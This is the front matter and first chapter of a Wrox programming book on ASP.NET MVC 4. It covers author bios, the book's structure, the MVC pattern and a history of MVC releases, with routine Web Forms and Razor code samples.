ABOUT THE AUTHORS

JON GALLOWAY works at Microsoft as a Windows Azure Technical Evangelist focused on the ASP.NET platform. He wrote the MVC Music Store tutorial, helped organize mvcConf and aspConf (free online conferences for the ASP.NET community), and speaks at conferences and Web Camps worldwide. He also has worked in a wide range of web development shops, from scrappy startups to large financial companies. He's part of the Herding Code podcast (<http://herdingcode.com>), blogs at <http://weblogs.asp.net/jgalloway>, and twitters as @jongalloway. He lives in San Diego with his wife, three daughters, and a bunch of avocado trees.

PHIL HAACK works at GitHub, striving to make Git and GitHub better for developers on Windows. Prior to joining GitHub, Phil was a Senior Program Manager with the ASP.NET team whose areas of responsibility included ASP.NET MVC and NuGet. As a code junkie, Phil loves to craft software. Not only does he enjoy writing software, he enjoys writing about software and software management on his blog, <http://haacked.com/>.

BRAD WILSON works for Microsoft as a Senior Software Developer on the Azure Application Platform and Tools team on the ASP.NET MVC and Web API projects. Prior to ASP.NET, Brad also worked on the CodePlex and the Patterns and Practices teams at Microsoft, and has acted as a developer, consultant, architect, team lead, and CTO at various software companies for nearly 20 years. He's the co-author of the xUnit.net open source developer testing framework, maintains a blog focused primarily on ASP.NET topics at <http://bradwilson.typepad.com/>, and tweets as @bradwilson. Brad lives in beautiful Redmond, Washington.

K. SCOTT ALLEN is the founder of OdeToCode LLC and a software consultant. Scott has 20 years of commercial software development experience across a wide range of technologies. He has delivered software products for embedded devices, Windows desktop, web, and mobile platforms. He has developed web services for Fortune 50 companies and firmware for startups. Scott is also a speaker at international conferences and delivers classroom training and mentoring to companies around the world.

ABOUT THE TECHNICAL EDITOR

EILON LIPTON joined the ASP.NET team as a developer at Microsoft in 2002. On this team, he has worked on areas ranging from data source controls to localization to the UpdatePanel control. That team is now part of the Azure Application Platform Team, where Eilon is the principal development manager for ASP.NET MVC, ASP.NET Web API, and Entity Framework. Eilon is also a speaker on a variety of ASP.NET-related topics at conferences worldwide. He graduated from Boston University with a dual degree in Math and Computer Science. In his spare time Eilon spends time in his garage workshop building what he considers to be well-designed furniture. If you know anyone who needs a coffee table that's three feet tall and has a slight slope to it, send him an e-mail.

ACKNOWLEDGMENTS

THANKS TO FAMILY AND FRIENDS who graciously acted as if “Jon without sleep” is someone you’d want to spend time with. Thanks to the whole ASP.NET team for making work fun since 2002, and especially to Brad Wilson and Phil Haack for answering tons of random questions. Thanks to Warren G. Harding for normalcy. Thanks to Philippians 4:4–9 for continually reminding me which way is up.

— JON GALLOWAY

THANKS GO TO MY LOVELY WIFE, Akumi, for her support, which went above and beyond all expectations and made this possible. I’d like to also give a shout out to my son, Cody, for his sage advice, delivered as only a two-year-old can deliver it. I’m sure he’ll be embarrassed 10 years from now that I used such an anachronism (“shout out”) in my acknowledgment to him. Thanks go to my daughter, Mia, as her smile lights up the room like unicorns.

— PHIL HAACK

FOREWORD

I'm thrilled to introduce this book covering the latest release of ASP.NET MVC, written by an outstanding team of authors. They are my friends, but more importantly, they are fantastic technologists.

Phil Haack was the Program Manager ASP.NET MVC from the very start. With a background rooted in community and open source, I count him not only as an amazing technologist but also a close friend. While at Microsoft, Phil also worked on a new .NET Package Manager called NuGet.

Brad Wilson is not only my favorite skeptic but also a talented Developer at Microsoft working on ASP.NET MVC. From Dynamic Data to Data Annotations to Testing and more, there's no end to Brad's knowledge as a programmer. He's worked on many open source projects, such as XUnit .NET, and continues to push people both inside and outside Microsoft towards the light.

Jon Galloway is a Technical Evangelist at Microsoft focused on Azure and ASP.NET. In that role, he's had the opportunity to work with thousands of developers who are both new to and experienced with ASP.NET MVC. He's the author of the MVC Music Store tutorial, which has helped hundreds of thousands of new developers write their first ASP.NET MVC applications. Jon also helped organize mvcConf and aspConf — a series of free, online conferences for ASP.NET developers. His interactions with the diverse ASP.NET community give him some great insights on how developers can begin, learn, and master ASP.NET MVC.

And last but not least, K. Scott Allen rounds out the group, not just because of his wise decision to use his middle name to sound smarter, but also because he brings his experience and wisdom as a world-renowned trainer. Scott Allen is a member of the Pluralsight technical staff and has worked on websites for Fortune 50 companies, as well as consulted with startups. He is kind, thoughtful, respected, and above all, knows his stuff backwards and forwards.

These fellows have teamed up to take this ASP.NET MVC 4 book to the next level, as the ASP.NET web development platform continues to grow. The platform currently is used by millions of developers worldwide. A vibrant community supports the platform, both online and offline; the online forums at www.asp.net average thousands of questions and answers a day.

ASP.NET and ASP.NET MVC 4 power news sites, online retail stores, and perhaps your favorite social networking site. Your local sports team, book club, or blog uses ASP.NET MVC 4, as well.

When it was introduced, ASP.NET MVC broke a lot of ground. Although the pattern was old, it was new to many in the existing ASP.NET community; it walked a delicate line between productivity and control, power and flexibility. Today, to me, ASP.NET MVC 4 represents choice — your choice of language, your choice of frameworks, your choice of open source libraries, your choice of patterns. Everything is pluggable. MVC 4 epitomizes absolute control of your environment — if you like something, use it; if you don't like something, change it. You can unit test how you want, create components as you want, and use your choice of JavaScript framework.

ASP.NET MVC 4 brings you a new ASP.NET Web API (a new framework for building HTTP services), updated default project templates that leverage modern web standards, solid mobile web application support, enhanced support for asynchronous methods, and more.

Just as exciting, the ASP.NET MVC code is now released under an open source license that accepts contributions from the developer community. Perhaps code you write will ship with the next version of ASP.NET MVC! I encourage you to visit www.asp.net/mvc for fresh content, new samples, videos, and tutorials.

We all hope this book, and the knowledge within, represents the next step for you in your mastery of ASP.NET MVC 4.

INTRODUCTION

IT'S A GREAT TIME TO BE an ASP.NET developer!

Whether you've been developing with ASP.NET for years or are just getting started, now is a great time to dig into ASP.NET MVC 4. ASP.NET MVC has been a lot of fun to work with from the start, but the last two releases have added many features that make the entire development process really enjoyable.

ASP.NET MVC 3 brought features like the Razor view engine, integration with the NuGet package management system, and built-in integration with jQuery to simplify Ajax development. ASP .NET MVC 4 continues that trend, with a refreshed visual design, mobile web support, easier HTTP services using ASP.NET Web API, easier integration with popular sites with built-in OAuth support, and more. The combined effect is that you can get started quickly with full-featured web applications.

This isn't just drag-and-drop short-term productivity, either. It's all built on a solid, patterns-based web framework that gives you total control over every aspect of your application, when you want it.

Join us for a fun, informative tour of ASP.NET MVC 4!

WHO THIS BOOK IS FOR

Professional ASP.NET MVC 4 is designed to teach ASP.NET MVC, from a beginner level through advanced topics.

If you are new to ASP.NET MVC, this book gets you started by explaining the concepts, and then helps you apply them through plenty of hands-on code examples. The authors have taught thousands of developers how to get started with ASP.NET MVC and know how to cut through boring rhetoric to get you up and running quickly.

We understand that many of our readers are familiar with ASP.NET Web Forms, so in some places we'll point out some similarities and differences to help put things in context. It's worth noting that ASP.NET MVC 4 is not a replacement for ASP.NET Web Forms. Many web developers have been giving a lot of attention to other web frameworks (Ruby on Rails, Django, several PHP frameworks, etc.) that have embraced the MVC (Model-View-Controller) application pattern. If you're one of those developers, or even if you're just curious, this book is for you.

We've worked hard to make sure that this book is valuable for developers who are experienced with ASP.NET MVC, as well. Throughout the book, we explain how things are designed and how best to use them. We've added in-depth coverage of new features, including a new chapter on ASP.NET Web API. Finally, we've included a new chapter by Phil Haack that shows how he and other advanced ASP.NET MVC developers build real-world, high-volume ASP.NET MVC websites with a case study of the NuGet Gallery website.

HOW THIS BOOK IS STRUCTURED

This book is divided into two very broad sections, each comprising several chapters. The first half of the book is concerned with introducing the MVC pattern and how ASP.NET MVC implements that pattern.

Chapter 1, “Getting Started,” helps you get started with ASP.NET MVC 3 development. It explains what ASP.NET MVC is and how ASP.NET MVC 4 fits in with the previous two releases. Then, after making sure you have the correct software installed, you’ll begin creating a new ASP.NET MVC 4 application.

Chapter 2, “Controllers,” explains the basics of controllers and actions. You’ll start with some very basic “hello world” examples, and then build up to pull information from the URL and return it to the screen.

Chapter 3, “Views,” explains how to use view templates to control the visual representation of the output from your controller actions. You’ll learn all about the Razor view engine, including syntax and features to help keep your views organized and consistent.

Chapter 4, “Models,” teaches you how to use models to pass information from controller to view and how to integrate your model with a database (using Code-First development with Entity Framework).

Chapter 5, “Forms and HTML Helpers,” dives deeper into editing scenarios, explaining how forms are handled in ASP.NET MVC. You’ll also learn how to use HTML helpers to keep your views lean.

Chapter 6, “Data Annotations and Validation,” explains how to use attributes to define rules for how your models will be displayed, edited, and validated.

Chapter 7, “Membership, Authorization, and Security,” teaches you how to secure your ASP.NET MVC application, pointing out common security pitfalls and how you can avoid them. You’ll learn how to leverage the ASP.NET membership and authorization features within ASP.NET MVC applications to control access.

Chapter 8, “Ajax,” covers Ajax applications within ASP.NET MVC applications, with special emphasis on jQuery and jQuery plug-ins. You’ll learn how to use ASP.NET MVC’s Ajax helpers and how to work effectively with the jQuery-powered validation system.

Chapter 9, “Routing,” digs deep into the routing system that manages how URLs are mapped to controller actions.

Chapter 10, “NuGet,” introduces you to the NuGet package management system. You’ll learn how it relates to ASP.NET MVC, how to install it, and how to use it to install, update, and create new packages.

Chapter 11, “ASP.NET Web API,” shows how to create HTTP services using the new ASP.NET Web API.

Chapter 12, “Dependency Injection,” explains dependency injection and shows how you can leverage it in your applications.

Chapter 13, “Unit Testing,” teaches you how to practice test-driven development in your ASP.NET applications, offering helpful tips on how to write effective tests.

Chapter 14, “Extending MVC,” dives into the extensibility points in ASP.NET MVC, showing how you can extend the framework to fit your specific needs.

Chapter 15, “Advanced Topics,” looks at advanced topics that might have blown your mind before reading the first 14 chapters of the book. It covers sophisticated scenarios in Razor, scaffolding, routing, templating, and controllers.

Chapter 16, “Real-World ASP.NET MVC: Building the NuGet.org Website,” puts everything in perspective with a case study covering the NuGet Gallery website (<http://nuget.org>). You’ll see how Phil Haack and other top ASP.NET developers handled things like testing, membership, deployment, and data migration when they needed to build a high-performance site on ASP.NET MVC.

WHAT YOU NEED TO USE THIS BOOK

To use ASP.NET MVC 4, you’ll probably want a copy of Visual Studio. You can use Microsoft Visual Studio Express 2012 for Web or any of the paid versions of Visual Studio 2012 (such as Visual Studio 2012 Professional). Visual Studio 2012 includes ASP.NET MVC 4. Visual Studio and Visual Studio Express are available from the following locations:

- Visual Studio: www.microsoft.com/vstudio
- Visual Studio Express: www.microsoft.com/express/

You can also use ASP.NET MVC 4 with Visual Studio 2010 SP1. ASP.NET MVC 4 is a separate installation for Visual Studio 2010, available at the following location:

- ASP.NET MVC 4: www.asp.net/mvc

Chapter 1 reviews the software requirements in depth, showing how to get everything set up on both your development and server machines.

CONVENTIONS

To help you get the most from the text and keep track of what’s happening, we’ve used a number of conventions throughout the book.

PRODUCT TEAM ASIDE

Boxes like this one hold tips, tricks, and trivia from the ASP.NET Product Team or some other information that is directly relevant to the surrounding text.

NOTE *Tips, hints, and tricks related to the current discussion are offset and placed in italics like this.*

As for styles in the text:

- We *italicize* new terms and important words when we introduce them.
- We show keyboard strokes like this: Ctrl+A.
- We show filenames, URLs, and code within the text like so: `persistence.properties`.
- We present code in two different ways:

We use a monofont type with no highlighting for most code examples.

We use bold to emphasize code that is particularly important in the present context or to show changes from a previous code snippet.

SOURCE CODE

Throughout the book you'll notice places where we suggest that you install a NuGet package to try out some sample code.

```
Install-Package SomePackageName
```

NuGet is a package manager for .NET and Visual Studio written by the Outercurve Foundation and incorporated by Microsoft into ASP.NET MVC.

Rather than having to search around for zip files on the Wrox website for source code samples, you can use NuGet to easily add these files into an ASP.NET MVC application from the convenience of Visual Studio. We think this will make it much easier and painless to try out the samples. Chapter 10 explains the NuGet system in greater detail.

If you would like to download these NuGet packages for later use without an Internet connection, they are also available for download at www.wrox.com. Once at the site, simply locate the book's title (use the Search box or one of the title lists) and click the Download Code link on the book's detail page to obtain all the source code for the book.

NOTE *Because many books have similar titles, you may find it easiest to search by ISBN. This book's ISBN is 978-1-118-34846-8.*

Once you download the code, just decompress it with your favorite compression tool. Alternately, you can go to the main Wrox code download page at www.wrox.com/dynamic/books/download.aspx to see the code available for this book and all other Wrox books.

ERRATA

We make every effort to ensure that there are no errors in the text or in the code. However, no one is perfect, and mistakes do occur. If you find an error in one of our books, like a spelling mistake or faulty piece of code, we would be very grateful for your feedback. By sending in errata you may save another reader hours of frustration and at the same time you will be helping us provide even higher quality information.

To find the errata page for this book, go to www.wrox.com and locate the title using the Search box or one of the title lists. Then, on the book details page, click the Errata link. On this page you can view all errata that has been submitted for this book and posted by Wrox editors. A complete book list, including links to each book's errata, is also available at www.wrox.com/misic-pages/booklist.shtml.

If you don't spot "your" error on the Errata page, go to www.wrox.com/contact/techsupport.shtml and complete the form there to send us the error you have found. We'll check the information and, if appropriate, post a message to the book's errata page and fix the problem in subsequent editions of the book.

Getting Started

Jon Galloway

WHAT'S IN THIS CHAPTER?

- Understanding ASP.NET MVC
- An overview of ASP.NET MVC 4
- Creating MVC 4 applications
- How MVC applications are structured

This chapter gives you a quick introduction to ASP.NET MVC, explains how ASP.NET MVC 4 fits into the ASP.NET MVC release history, summarizes what's new in ASP.NET MVC 4, and shows you how to set up your development environment to build ASP.NET MVC 4 applications.

This is a Professional Series book about a version 4 web framework, so we're going to keep the introductions short. We're not going to spend any time convincing you that you should learn ASP.NET MVC. We're assuming that you've bought this book for that reason, and that the best proof of software frameworks and patterns is in showing how they're used in real-world scenarios.

A QUICK INTRODUCTION TO ASP.NET MVC

ASP.NET MVC is a framework for building web applications that applies the general Model View Controller pattern to the ASP.NET framework. Let's break that down by first looking at how ASP.NET MVC and the ASP.NET framework are related.

How ASP.NET MVC Fits in with ASP.NET

When ASP.NET 1.0 was first released in 2002, it was easy to think of ASP.NET and Web Forms as one and the same thing. ASP.NET has always supported two layers of abstraction, though:

- `System.Web.UI`: The Web Forms layer, comprising server controls, ViewState, and so on
- `System.Web`: The plumbing, which supplies the basic web stack, including modules, handlers, the HTTP stack, and so on

The mainstream method of developing with ASP.NET included the whole Web Forms stack — taking advantage of drag-and-drop server controls and semi-magical statefulness, while dealing with the complications behind the scenes (an often confusing page life cycle, less than optimal HTML that was difficult to customize, and so on).

However, there was always the possibility of getting below all that — responding directly to HTTP requests, building out web frameworks just the way you wanted them to work, crafting beautiful HTML — using handlers, modules, and other handwritten code. You could do it, but it was painful; there just wasn't a built-in pattern that supported any of those things. It wasn't for lack of patterns in the broader computer science world, though. By the time ASP.NET MVC was announced in 2007, the MVC pattern was becoming one of the most popular ways of building web frameworks.

The MVC Pattern

Model-View-Controller (MVC) has been an important architectural pattern in computer science for many years. Originally named *Thing-Model-View-Editor* in 1979, it was later simplified to *Model-View-Controller*. It is a powerful and elegant means of separating concerns within an application (for example, separating data access logic from display logic) and applies itself extremely well to web applications. Its explicit separation of concerns does add a small amount of extra complexity to an application's design, but the extraordinary benefits outweigh the extra effort. It has been used in dozens of frameworks since its introduction. You'll find MVC in Java and C++, on Mac and on Windows, and inside literally dozens of frameworks.

The MVC separates the user interface (UI) of an application into three main aspects:

- **The Model:** A set of classes that describes the data you're working with as well as the business rules for how the data can be changed and manipulated
- **The View:** Defines how the application's UI will be displayed
- **The Controller:** A set of classes that handles communication from the user, overall application flow, and application-specific logic

MVC AS A USER INTERFACE PATTERN

Notice that we've referred to MVC as a pattern for the UI. The MVC pattern presents a solution for handling user interaction, but says nothing about how you will handle other application concerns like data access, service interactions, etc. It's helpful to keep this in mind as you approach MVC: It is a useful pattern, but likely one of many patterns you will use in developing an application.

MVC as Applied to Web Frameworks

The MVC pattern is used frequently in web programming. With ASP.NET MVC, it's translated roughly as:

- **Models:** These are the classes that represent the domain you are interested in. These domain objects often encapsulate data stored in a database as well as code used to manipulate the data and enforce domain-specific business logic. With ASP.NET MVC, this is most likely a Data Access Layer of some kind, using a tool like Entity Framework or NHibernate combined with custom code containing domain-specific logic.
- **View:** This is a template to dynamically generate HTML. We cover more on that in Chapter 3 when we dig into views.
- **Controller:** This is a special class that manages the relationship between the View and the Model. It responds to user input, talks to the Model, and decides which view to render (if any). In ASP.NET MVC, this class is conventionally denoted by the suffix *Controller*.

NOTE *It's important to keep in mind that MVC is a high-level architectural pattern, and its application varies depending on use. ASP.NET MVC is contextualized both to the problem domain (a stateless web environment) and the host system (ASP.NET).*

Occasionally I talk to developers who have used the MVC pattern in very different environments, and they get confused, frustrated, or both (confustrated?) because they assume that ASP.NET MVC works the exact same way it worked in their mainframe account processing system 15 years ago. It doesn't, and that's a good thing — ASP.NET MVC is focused on providing a great web development framework using the MVC pattern and running on the .NET platform, and that contextualization is part of what makes it great.

ASP.NET MVC relies on many of the same core strategies that the other MVC platforms use, plus it offers the benefits of compiled and managed code and exploits newer .NET language features, such as lambdas and dynamic and anonymous types. At its heart, though, ASP.NET applies the fundamental tenets found in most MVC-based web frameworks:

- *Convention over configuration*
- *Don't repeat yourself (aka the "DRY" principle)*
- *Pluggability wherever possible*
- *Try to be helpful, but if necessary, get out of the developer's way*

The Road to MVC 4

In the three short years since ASP.NET MVC 1 was released in March 2009, we've seen four major releases of ASP.NET MVC and several more interim releases. In order to understand ASP.NET

MVC 4, it's important to understand how we got here. This section describes the contents and background of each of the three major ASP.NET MVC releases.

ASP.NET MVC 1 Overview

In February 2007, Scott Guthrie (“ScottGu”) of Microsoft sketched out the core of ASP.NET MVC while flying on a plane to a conference on the East Coast of the United States. It was a simple application, containing a few hundred lines of code, but the promise and potential it offered for parts of the Microsoft web developer audience was huge.

As the legend goes, at the Austin ALT.NET conference in October 2007 in Redmond, Washington, ScottGu showed a group of developers “this cool thing I wrote on a plane” and asked if they saw the need and what they thought of it. It was a hit. In fact, many people were involved with the original prototype, codenamed *Scalene*. Eilon Lipton e-mailed the first prototype to the team in September 2007, and he and ScottGu bounced prototypes, code, and ideas back and forth.

Even before the official release, it was clear that ASP.NET MVC wasn't your standard Microsoft product. The development cycle was highly interactive: There were nine preview releases before the official release, unit tests were made available, and the code shipped under an open source license. All these highlighted a philosophy that placed a high value on community interaction throughout the development process. The end result was that the official MVC 1.0 release — including code and unit tests — had already been used and reviewed by the developers who would be using it. ASP.NET MVC 1.0 was released on 13 March 2009.

ASP.NET MVC 2 Overview

ASP.NET MVC 2 was released just one year later, in March 2010. Some of the main features in MVC 2 included:

- UI helpers with automatic scaffolding with customizable templates
- Attribute-based model validation on both client and server
- Strongly typed HTML helpers
- Improved Visual Studio tooling

There were also lots of API enhancements and “pro” features, based on feedback from developers building a variety of applications on ASP.NET MVC 1, such as:

- Support for partitioning large applications into *areas*
- Asynchronous controllers support
- Support for rendering subsections of a page/site using `Html.RenderAction`
- Lots of new helper functions, utilities, and API enhancements

One important precedent set by the MVC 2 release was that there were very few breaking changes. I think this is a testament to the architectural design of ASP.NET MVC, which allows for a lot of extensibility without requiring core changes.

ASP.NET MVC 3 Overview

ASP.NET MVC 3 shipped just 10 months after MVC 2, driven by the release date for Web Matrix. Some of the top features in MVC 3 included:

- The Razor view engine
- Support for .NET 4 Data Annotations
- Improved model validation
- Greater control and flexibility with support for dependency resolution and global action filters
- Better JavaScript support with unobtrusive JavaScript, jQuery Validation, and JSON binding
- Use of NuGet to deliver software and manage dependencies throughout the platform

Since these MVC 3 features are relatively recent and are pretty important, we'll go through them in a little more detail.

NOTE *This feature summary is included for developers with previous MVC experience who are anxious to hear what's changed in the newer versions.*

If you're new to ASP.NET MVC, don't be concerned if some of these features don't make a lot of sense right now; we'll be covering them in a lot more detail throughout the book. You're welcome to skip over them now and come back to this chapter later.

Razor View Engine

Razor is the first major update to rendering HTML since ASP.NET 1 shipped almost a decade ago. The default view engine used in MVC 1 and 2 was commonly called the Web Forms view engine, because it uses the same ASPX/ASCX/MASTER files and syntax used in Web Forms. It works, but it was designed to support editing controls in a graphical editor, and that legacy shows. An example of this syntax in a Web Forms page is shown here:

```
<%@ Page Language="C#" MasterPageFile=</Views/Shared/Site.Master"
Inherits="System.Web.Mvc.ViewPage<MvcMusicStore.ViewModels.StoreBrowseViewModel>"%>

<asp:Content ID="Content1" ContentPlaceHolderID="TitleContent" runat="server">
    Browse Albums
</asp:Content>

<asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server">
    <div class="genre">
        <h3><em><%: Model.Genre.Name %></em> Albums</h3>
```

```

<ul id="album-list">
    <% foreach (var album in Model.Albums) { %>

        <li>
            <a href="<%: Url.Action("Details", new { id = album.AlbumId }) %>">
                <img alt="<%: album.Title %>" src="<%: album.AlbumArtUrl %>" />
                <span><%: album.Title %></span>
            </a>
        </li>
    <% } %>
</ul>

</div>

</asp:Content>

```

Razor was designed specifically as a view engine syntax. It has one main focus: *code-focused templating for HTML generation*. Here's how that same markup would be generated using Razor:

```

@model MvcMusicStore.Models.Genre

@{ViewBag.Title = "Browse Albums";}

<div class="genre">
    <h3><em>@Model.Name</em> Albums</h3>

    <ul id="album-list">
        @foreach (var album in Model.Albums)
        {
            <li>
                <a href="@Url.Action("Details", new { id = album.AlbumId })">
                    
                    <span>@album.Title</span>
                </a>
            </li>
        }
    </ul>
</div>

```

The Razor syntax is easier to type, and easier to read. Razor doesn't have the XML-like heavy syntax of the Web Forms view engine.

We've talked about how working with the Razor syntax feels different. To put this in more quantifiable terms, let's look at some of the team's design goals in creating the Razor syntax:

- **Compact, expressive, and fluid:** Razor's (ahem) sharp focus on templating for HTML generation yields a very minimalist syntax. This isn't just about minimizing keystrokes — although that's an obvious result — it's about how easy it is to express your intent. A key example is the simplicity in transitions between markup and code. You can see this in action when writing out some model properties in a loop:

```

@foreach (var album in Model.Albums)
{
    <li>
        <a href="@Url.Action("Details", new { id = album.AlbumId })">

```

```

        
        <span>@album.Title</span>
    </a>
</li>
}

```

- **Not a new language:** Razor is a syntax that lets you use your existing .NET coding skills in a template in a very intuitive way. Scott Hanselman summarized this pretty well when describing his experiences learning Razor:

“I kept [...] going cross-eyed when I was trying to figure out what the syntax rules were for Razor until someone said stop thinking about it, just type an “at” sign and start writing code and I realize that there really is no Razor.”

—HANSELMINUTES #249: ON WEBMATRIX WITH ROB CONERY

<http://hanselminutes.com/default.aspx?showid=268>

- **Easy to learn:** Precisely because Razor is not a new language, it's easy to learn. You know HTML, you know .NET; just type HTML and hit the @ sign whenever you need to write some .NET code.
- **Works with any text editor:** Because Razor is so lightweight and HTML-focused, you're free to use the editor of your choice. Visual Studio's syntax highlighting and IntelliSense features are nice, but it's simple enough that you can edit it in any text editor.
- **Good IntelliSense:** Though Razor was designed so that you shouldn't *need* IntelliSense to work with it, IntelliSense can come in handy for things like viewing the properties your model object supports. For those cases, Razor does offer nice IntelliSense within Visual Studio, as shown in Figure 1-1.

FIGURE 1-1

This is just a quick highlight of some of the reasons that Razor makes writing View code really easy. We'll talk about Razor in a lot more depth in Chapter 3.

Validation Improvements

Validation is an important part of building web applications, but it's never fun. I've always wanted to spend as little time as possible writing validation code, as long as I was confident that it worked correctly.

MVC 2's attribute-driven validation system removed a lot of the pain from this process by replacing repetitive imperative code with declarative code. However, support was focused on a short list of top validation scenarios. There were plenty of cases where you'd get outside of the "happy path" and have to write a fair amount more code. MVC 3 extended the validation support to cover most scenarios you're likely to encounter. For more information on validation in ASP.NET MVC, see Chapter 6.

.NET 4 Data Annotation Support

MVC 2 was compiled against .NET 3.5 and thus didn't support any of the .NET 4 Data Annotations enhancements. MVC 3 picks up some new, very useful validation features available due to .NET 4 support. Some examples include:

- MVC 2's `DisplayName` attribute wasn't localizable, whereas the .NET 4 standard `System.ComponentModel.DataAnnotations` `Display` attribute is.
- `ValidationAttribute` was enhanced in .NET 4 to better work with the validation context for the entire model, greatly simplifying cases like validators that compare or otherwise reference two model properties.

Streamlined Validation with Improved Model Validation

MVC 3's support for the .NET 4 `IValidatableObject` interface deserves individual recognition. You can extend your model validation in just about any conceivable way by implementing this interface on your model class and implementing the `Validate` method, as shown in the following code:

```
public class VerifiedMessage : IValidatableObject {
    public string Message { get; set; }
    public string AgentKey { get; set; }
    public string Hash { get; set; }

    public IEnumerable<ValidationResult> Validate(
        ValidationContext validationContext) {
        if (SecurityService.ComputeHash(Message, AgentKey) != Hash)
            yield return new ValidationResult("Agent compromised");
    }
}
```

Unobtrusive JavaScript

Unobtrusive JavaScript is a general term that conveys a general philosophy, similar to the term REST (Representational State Transfer). The high-level description is that unobtrusive JavaScript doesn't intermix JavaScript code in your page markup. For example, rather than hooking in via event attributes like `onclick` and `onsubmit`, the unobtrusive JavaScript attaches to elements by their ID or class, often based on the presence of other attributes (such as HTML5 `data-` attributes).

Unobtrusive JavaScript makes a lot of sense when you consider that your HTML document is just that — a document. It's got semantic meaning, and all of it — the tag structure, element attributes, and so on — should have a precise meaning. Strewing JavaScript gunk across the page to facilitate interaction (I'm looking at you, `__doPostBack!`) harms the content of the document.

MVC 3 added support for unobtrusive JavaScript in two ways:

- Ajax helpers (such as `Ajax.ActionLink` and `Ajax.BeginForm`) render clean markup for the `FORM` tag, wiring up behavior leveraging extensible attributes (`data-` attributes) and jQuery.

- Ajax validation no longer emits the validation rules as a (sometimes large) block of JSON data, instead writing out the validation rules using `data-` attributes. While technically I considered MVC 2's validation system to be rather unobtrusive, the MVC 3 system is that much more — the markup is lighter weight, and the use of `data-` attributes makes it easier to leverage and reuse the validation information using jQuery or other JavaScript libraries.

jQuery Validation

MVC 2 shipped with jQuery, but used Microsoft Ajax for validation. MVC 3 completed the transition to using jQuery for Ajax support by converting the validation support to run on the popular jQuery Validation plugin. The combination of Unobtrusive JavaScript support (discussed previously) and jQuery validation using the standard plugin system means that the validation is both extremely flexible and can benefit from the huge jQuery community.

Client-side validation was turned on by default for MVC 3 projects, and can be enabled site-wide with a `web.config` setting or by code in `global.asax` for upgraded projects.

JSON Binding

MVC 3 included JavaScript Object Notation (JSON) binding support via the new `JsonValueProviderFactory`, enabling your action methods to accept and model-bind data in JSON format. This is especially useful in advanced Ajax scenarios like client templates and data binding that need to post data back to the server.

Dependency Resolution

MVC 3 introduced a new concept called a *dependency resolver*, which greatly simplified the use of dependency injection in your applications. This made it easier to decouple application components, making them more configurable and easier to test.

Support was added for the following scenarios:

- Controllers (registering and injecting controller factories, injecting controllers)
- Views (registering and injecting view engines, injecting dependencies into view pages)
- Action filters (locating and injecting filters)
- Model binders (registering and injecting)
- Model validation providers (registering and injecting)
- Model metadata providers (registering and injecting)
- Value providers (registering and injecting)

This is a big enough topic that we've devoted an entire new chapter (Chapter 12) to it.

Global Action Filters

MVC 2 action filters gave you hooks to execute code before or after an action method ran. They were implemented as custom attributes that could be applied to controller actions or to an entire controller. MVC 2 included some filters in the box, like the `Authorize` attribute.

MVC 3 extended this with global action filters, which apply to all action methods in your application. This is especially useful for application infrastructure concerns like error handling and logging.

MVC 4 Overview

The MVC 4 release is building on a pretty mature base and is able to focus on some more advanced scenarios. Some top features include:

- ASP.NET Web API
- Enhancements to default project templates
- Mobile project template using jQuery Mobile
- Display Modes
- Task support for Asynchronous Controllers
- Bundling and minification

The following sections provide an overview of these features. We'll be going into them in more detail throughout the book.

ASP.NET Web API

ASP.NET MVC was designed for creating websites. Throughout the platform are obvious design decisions that indicate the assumed usage: responding to requests from browsers and returning HTML.

However, ASP.NET MVC made it really easy to control the response down to the byte, and the MVC pattern was really useful in creating a service layer. ASP.NET developers found that they could use it to create web services that returned XML, JSON, or other non-HTML formats, and it was a lot easier than grappling with other service frameworks, such as Windows Communication Foundation (WCF), or writing raw HTTP handlers. It still had some quirks, as you were using a website framework to deliver services, but many found that it was better than the alternatives.

MVC 4 includes a better solution: ASP.NET Web API (referred to as *Web API*), a framework that offers the ASP.NET MVC development style but is tailored to writing HTTP services. This includes both modifying some ASP.NET MVC concepts to the HTTP service domain and supplying some new service-oriented features.

Here are some of the Web API features that are similar to MVC, just adapted for the HTTP service domain:

- **Routing:** ASP.NET Web API uses the same routing system for mapping URLs to controller actions. It contextualizes the routing to HTTP services by mapping HTTP verbs to actions by convention, which both makes the code easier to read and encourages following RESTful service design.
- **Model binding and validation:** Just as MVC simplifies the process of mapping input values (form fields, cookies, URL parameters, etc.) to model values, Web API automatically maps HTTP request values to models. The binding system is extensible and includes the same attribute-based validation that you use in MVC model binding.

- **Filters:** MVC uses filters (discussed in Chapter 15) to allow for adding behaviors to actions via attributes. For instance, adding an `[Authorize]` attribute to an MVC action will prohibit anonymous access, automatically redirecting to the login page. Web API also supports some of the standard MVC filters (like a service-optimized `[Authorize]` attribute) and custom filters.
- **Scaffolding:** You add new Web API controllers using the same dialog used to add an MVC controller (as described later this chapter). You have the option to use the Add Controller dialog to quickly scaffold a Web API controller based on an Entity Framework-based model type.
- **Easy unit testability:** Much like MVC, Web API is built around the concepts of dependency injection and avoiding the use of global state.

Web API also adds some new concepts and features specific to HTTP service development:

- **HTTP programming model:** The Web API development experience is optimized for working with HTTP requests and responses. There's a strongly typed HTTP object model, HTTP status codes and headers are easily accessible, etc.
- **Action dispatching based on HTTP verbs:** In MVC the dispatching of action methods is based on their names. In Web API methods can be automatically dispatched based on the HTTP verb. So, for example, a GET request would be automatically dispatched to a controller action named `GetItem`.
- **Content negotiation:** HTTP has long supported a system of content negotiation, in which browsers (and other HTTP clients) indicate their response format preferences, and the server responds with the highest preferred format that it can support. This means that your controller can supply XML, JSON, and other formats (you can add your own), responding to whichever the client most prefers. This allows you to add support for new formats without having to change any of your controller code.
- **Code-based configuration:** Service configuration can be complex. Unlike WCF's verbose and complex configuration file approach, Web API is configured entirely via code.

Although ASP.NET Web API is included with MVC 4, it can be used separately. In fact, it has no dependencies on ASP.NET at all, and can be self-hosted — that is, hosted outside of ASP.NET and IIS. This means you can run Web API in any .NET application, including a Windows Service or even a simple console application. For a more detailed look at ASP.NET Web API, see Chapter 11.

Enhancements to Default Project Templates

The visual design of the default template for MVC 1 projects had gone essentially unchanged through MVC 3. When you created a new MVC project and ran it, you got a white square on a blue background, as shown in Figure 1-2. (The blue doesn't show in this black and white book, but you get the idea.)

In MVC 4, both the HTML and CSS for the default template have been completely redesigned. A new MVC application appears as shown in Figure 1-3.

FIGURE 1-2

FIGURE 1-3

